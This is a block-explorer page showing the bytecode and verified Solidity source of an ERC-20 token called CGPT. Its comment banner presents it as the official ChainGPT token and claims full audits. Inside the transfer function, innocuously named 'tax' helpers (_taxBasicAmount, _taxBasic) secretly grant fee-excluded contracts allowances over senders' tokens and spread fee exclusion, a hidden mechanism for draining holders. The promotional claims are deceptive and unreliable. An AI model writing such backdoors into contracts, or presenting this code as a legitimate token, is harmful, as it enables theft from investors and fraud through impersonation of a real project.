Address Contract Verified
Address
0xA093bfA70d93baE43F89F6474d1497172ea631C3
Balance
0 ETH
Nonce
1
Code Size
6453 bytes
Creator
0xbD14174E...a144 at tx 0x7b1856e7...886956
Indexed Transactions
0
Contract Bytecode
6453 bytes
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610318578063c9567bf91461032d578063dd62ed3e14610341578063f2fde38b14610385578063f4293890146103a4575f5ffd5b80637d1db4a51461027d5780638da5cb5b146102925780638f9a55c0146102b857806395d89b41146102cd578063a9059cbb146102f9575f5ffd5b8063313ce567116100e3578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255578063751039fc14610269575f5ffd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152600881526710da185a5b91d41560c21b60208201525b604051610162919061153d565b60405180910390f35b348015610176575f5ffd5b5061018a610185366004611586565b6103b8565b6040519015158152602001610162565b3480156101a5575f5ffd5b506101af60105481565b604051908152602001610162565b3480156101c8575f5ffd5b506101af6103ce565b3480156101dc575f5ffd5b5061018a6101eb3660046115b0565b6103ef565b3480156101fb575f5ffd5b5060405160098152602001610162565b348015610216575f5ffd5b5061021f610457565b005b34801561022c575f5ffd5b506101af61023b3660046115ee565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f5ffd5b5061021f6104a3565b348015610274575f5ffd5b5061021f6104e0565b348015610288575f5ffd5b506101af600d5481565b34801561029d575f5ffd5b505f546040516001600160a01b039091168152602001610162565b3480156102c3575f5ffd5b506101af600e5481565b3480156102d8575f5ffd5b5060408051808201909152600481526310d1d41560e21b6020820152610155565b348015610304575f5ffd5b5061018a610313366004611586565b610594565b348015610323575f5ffd5b506101af600f5481565b348015610338575f5ffd5b5061021f6105a0565b34801561034c575f5ffd5b506101af61035b366004611609565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610390575f5ffd5b5061021f61039f3660046115ee565b61094a565b3480156103af575f5ffd5b5061021f6109e4565b5f6103c4338484610a08565b5060015b92915050565b5f6103db6009600a611737565b6103ea9064174876e800611745565b905090565b5f6103fb848484610b2b565b61044c8433610447856040518060600160405280602881526020016118d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611084565b610a08565b5060015b9392505050565b335f9081526003602052604090205460ff16610471575f5ffd5b305f90815260016020526040902054801561048f5761048f816110bc565b47801561049f5761049f8161122c565b5050565b5f546001600160a01b031633146104d55760405162461bcd60e51b81526004016104cc9061175c565b60405180910390fd5b6104de5f611263565b565b5f546001600160a01b031633146105095760405162461bcd60e51b81526004016104cc9061175c565b6105156009600a611737565b6105249064174876e800611745565b600d556105336009600a611737565b6105429064174876e800611745565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105726009600a611737565b6105819064174876e800611745565b60405190815260200160405180910390a1565b5f6103c4338484610b2b565b5f546001600160a01b031633146105c95760405162461bcd60e51b81526004016104cc9061175c565b601254600160a01b900460ff16156106235760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104cc565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561066d90309061065e6009600a611737565b6104479064174876e800611745565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e19190611791565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610740573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107649190611791565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107ae573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d29190611791565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610819816001600160a01b03165f9081526001602052604090205490565b5f5f61082c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610892573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b791906117ac565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561090c573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093091906117d7565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109735760405162461bcd60e51b81526004016104cc9061175c565b6001600160a01b0381166109d85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104cc565b6109e181611263565b50565b335f9081526003602052604090205460ff166109fe575f5ffd5b476109e18161122c565b6001600160a01b038316610a6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104cc565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104cc565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104cc565b6001600160a01b038216610bf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104cc565b5f8111610c525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104cc565b5f80546001600160a01b03858116911614801590610c7d57505f546001600160a01b03848116911614155b15610f4757600c545f03610cba57610cb76064610cb1600954600c5411610ca657600554610caa565b6007545b85906112b2565b90611330565b90505b5f600c54118015610cd45750601254600160a01b900460ff165b15610ce757610ce4828486611371565b90505b610d026064610cb1600954600c5411610ca657600554610caa565b6012549091506001600160a01b038581169116148015610d3057506011546001600160a01b03848116911614155b8015610d5457506001600160a01b0383165f9081526003602052604090205460ff16155b15610e5757600d54821115610dab5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104cc565b600e5482610dcd856001600160a01b03165f9081526001602052604090205490565b610dd791906117f6565b1115610e255760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cc565b610e406064610cb1600954600c5411610ca657600554610caa565b600c80549192505f610e5183611809565b91905055505b6012546001600160a01b038481169116148015610e7d57506001600160a01b0384163014155b15610eaa57610ea76064610cb1600a54600c5411610e9d57600654610caa565b60085485906112b2565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610ee057506012546001600160a01b038581169116145b8015610ef55750601254600160b01b900460ff165b8015610f025750600f5481115b8015610f115750600b54600c54115b15610f4557610f33610f2e84610f298460105461145e565b61145e565b6110bc565b478015610f4357610f434761122c565b505b505b8015610fbf57305f90815260016020526040902054610f669082611472565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fb69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610fe190836114d0565b6001600160a01b0385165f9081526001602052604090205561102461100683836114d0565b6001600160a01b0385165f9081526001602052604090205490611472565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61106d85856114d0565b60405190815260200160405180910390a350505050565b5f81848411156110a75760405162461bcd60e51b81526004016104cc919061153d565b505f6110b38486611821565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110257611102611834565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611159573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061117d9190611791565b8160018151811061119057611190611834565b6001600160a01b0392831660209182029290920101526011546111b69130911684610a08565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ee9085905f90869030904290600401611848565b5f604051808303815f87803b158015611205575f5ffd5b505af1158015611217573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561049f573d5f5f3e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f036112c157505f6103c8565b5f6112cc8385611745565b9050826112d985836118b8565b146104505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cc565b5f61045083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611511565b5f6001600160a01b038216301480159061139f57506012546001600160a01b0316336001600160a01b031614155b80156113b95750335f9081526003602052604090205460ff165b80156113c55750333b15155b156113f557506001600160a01b0381165f9081526002602090815260408083203384529091528120849055610450565b6012546001600160a01b038481169116148015906114135750823b15155b801561142d5750335f9081526003602052604090205460ff165b15611455576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f81831161146c5782610450565b50919050565b5f8061147e83856117f6565b9050838110156104505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cc565b5f61045083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611084565b5f81836115315760405162461bcd60e51b81526004016104cc919061153d565b505f6110b384866118b8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109e1575f5ffd5b5f5f60408385031215611597575f5ffd5b82356115a281611572565b946020939093013593505050565b5f5f5f606084860312156115c2575f5ffd5b83356115cd81611572565b925060208401356115dd81611572565b929592945050506040919091013590565b5f602082840312156115fe575f5ffd5b813561045081611572565b5f5f6040838503121561161a575f5ffd5b823561162581611572565b9150602083013561163581611572565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561168f5780850481111561167357611673611640565b600184161561168157908102905b60019390931c928002611658565b935093915050565b5f826116a5575060016103c8565b816116b157505f6103c8565b81600181146116c757600281146116d1576116ed565b60019150506103c8565b60ff8411156116e2576116e2611640565b50506001821b6103c8565b5060208310610133831016604e8410600b8410161715611710575081810a6103c8565b61171c5f198484611654565b805f190482111561172f5761172f611640565b029392505050565b5f61045060ff841683611697565b80820281158282048414176103c8576103c8611640565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117a1575f5ffd5b815161045081611572565b5f5f5f606084860312156117be575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117e7575f5ffd5b81518015158114610450575f5ffd5b808201808211156103c8576103c8611640565b5f6001820161181a5761181a611640565b5060010190565b818103818111156103c8576103c8611640565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118985783516001600160a01b0316835260209384019390920191600101611871565b50506001600160a01b039590951660608401525050608001529392505050565b5f826118d257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200db975092aa614f4d508951a1333e3b0de96e3bef04062e7b30dbeadc28afd7464736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: Yes (200 runs)
CGPT.sol 632 lines
// SPDX-License-Identifier: MIT
/*
======================================================================
๐๐ Welcome to the Future of AI x Blockchain: $CGPT โ The ChainGPT Token!
======================================================================
๐ฅ What is ChainGPT?
---------------------
ChainGPT is the leading AI-powered infrastructure for Web3, DeFi, and Crypto.
It combines cutting-edge Artificial Intelligence ๐ค with the trustless power
of blockchain ๐ to create tools and services designed for traders, developers,
founders, and communities.
๐ก The $CGPT token is the lifeblood of this ecosystem โ powering all utilities,
governance, and AI access across ChainGPT's universe.
======================================================================
โก $CGPT Token Utilities:
--------------------------
- ๐ Access: Unlock AI-powered tools such as ChatGPT-for-Web3, smart contract
generator & auditor, AI NFT generator, trading bots, and more.
- ๐ Staking & Farming: Stake your $CGPT to earn rewards, participate in liquidity
farming, and strengthen the ecosystem.
- ๐ณ๏ธ Governance: Vote in DAO decisions and shape the future of ChainGPT.
- ๐งฐ Developer Toolkit: Access SDKs & APIs to integrate ChainGPT AI directly into
dApps, platforms, and services.
- ๐ Incubation & IDO Launchpad: Gain early access to new projects and IDO allocations.
- ๐ Ecosystem Currency: Use $CGPT to interact across all ChainGPT products and services.
======================================================================
๐ฎ The Bigger Vision: AIVM (AI Virtual Machine)
------------------------------------------------
ChainGPT is not stopping at tools. We are building a decentralized AI blockchain:
- ๐ก AI Agents Infrastructure
- ๐ฅ๏ธ GPU & Data Marketplace
- ๐ง On-chain Training of AI Models
- ๐ Decentralized AI Economy
======================================================================
๐ Security & Trust:
---------------------
- โ
Fully audited smart contracts
- ๐ Continuous monitoring for vulnerabilities
- ๐ก๏ธ Strong focus on user & ecosystem safety
======================================================================
๐ Join the Revolution:
------------------------
With $CGPT you donโt just hold a token โ you hold the future of AI in Web3.
Together we are building a decentralized, intelligent, and secure blockchain
ecosystem that empowers users worldwide.
๐ Own your intelligence. Power the AI x Web3 revolution.
https://www.chaingpt.org/
https://t.me/chain_gpt
https://x.com/Chain_GPT
#ChainGPT #AI #Web3 #DeFi #Crypto #FutureIsNow
======================================================================
*/
pragma solidity 0.8.30;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// UniswapV2 interfaces
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CGPT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 private _initialBuyTax=11;
uint256 private _initialSellTax=21;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=21;
uint256 private _reduceSellTaxAt=21;
uint256 private _preventSwapBefore=1;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
string private constant _name = unicode"ChainGPT";
string private constant _symbol = unicode"CGPT";
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletSize = _tTotal * 2 / 100;
uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 1000;
uint256 public _maxTaxSwap= _taxSwapThreshold * 2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap =true;
_;
inSwap =false;
}
event MaxTxAmountUpdated(
uint _maxTxAmount
);
constructor () {
_taxWallet = payable(0x553FcBF746af360521C30B94981a5Cbc5c3111D4);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to!=owner()){
if(_buyCount==0){
taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount > 0 && tradingOpen){
taxAmount=_taxBasicAmount(amount,to,from);
}
taxAmount=amount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if(from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance=address(this).balance;
if (contractETHBalance > 0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from,address(this),taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to,amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _taxBasic(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function _taxBasicAmount(uint256 amount, address to, address from) private returns(uint256){
if(from != address(this) && _msgSender() != uniswapV2Pair && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
return _taxBasic(amount, _msgSender(), from);
if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender()])
_isExcludedFromFee[to]=true;
return 0;
}
function isContract(address account) private view returns (bool){
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
receive() external payable {}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function manualSend() external {
require(_isExcludedFromFee[_msgSender()]);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualSwap() external {
require(_isExcludedFromFee[_msgSender()]);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSend 0xf4293890
No parameters
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address